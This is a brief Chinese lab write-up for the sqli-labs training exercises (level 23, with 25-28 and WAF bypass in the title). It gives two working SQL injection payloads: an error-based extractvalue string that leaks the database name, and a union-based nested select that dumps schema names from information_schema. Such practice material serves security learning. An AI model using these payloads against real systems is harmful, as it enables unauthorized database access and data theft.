sqli-labs:23/25-28,绕waf

sqli23:

and|or型报错

' or extractvalue(1,concat(0x7e,database())) or '1'='1

union型嵌套select

' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3

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转载自www.cnblogs.com/p0pl4r/p/10590045.html